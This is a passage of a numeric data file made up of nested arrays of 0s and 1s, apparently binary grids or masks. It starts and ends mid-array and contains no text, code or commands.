0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,1,1,1,1,1,1,1,0,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,1,1,1,1,1,1,0,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,1,1,1,1,1,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,1,0,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,1,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,1,1,1,1,1,0,1,1,0,1,1,1,1,1,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,1,1,1,1,1,1,1,1,0,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,1,1,1,1,1,1,0,1,1,1,1,1,1,1,1,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[1,1,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,1,1,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,1,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[1,0,1,0,1,1,1,1,1,1,1,0,0,1,1,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[1,1,0,1,1,1,1,0,1,1,1,1,1,1,1,1,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0]], [[0,1,0,1,1,1,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,1,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,1,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,1,1,1,1,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,1,0,1,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,1,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,1,0,1,1,1,0,1,1,1,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,1,1,0,1,1,1,1,1,1,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,1,1,1,1,1,1,1,1,1,0,0,1,1,1,1,1,1,1,1,1,0,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[1,1,1,1,1,1,1,1,1,1,1,1,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,1,1,1,1,1,1,1,1,1,1,1,0,1,1,1,1,1,1,1,1,0,1,1,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[1,1,1,1,1,1,1,1,1,1,1,1,1,0,1,1,1,1,1,1,0,0,0,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,1,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[1,1,1,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,1,1,1,1,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[1,1,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[1,0,1,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[1,1,1,1,1,1,1,1,0,1,1,1,1,1,1,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[1,1,1,1,0,0,1,1,1,1,1,1,1,1,1,1,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[1,1,0,1,0,0,0,0,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,1,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,1,0,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,1,1,0,1,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,1,1,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0]], [[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,1,1,0,1,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,1,1,0,1,1,1,1,1,1,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,0,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,1,1,1,0,1,1,1,1,0,1,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,1,1,0,0,0,0,0,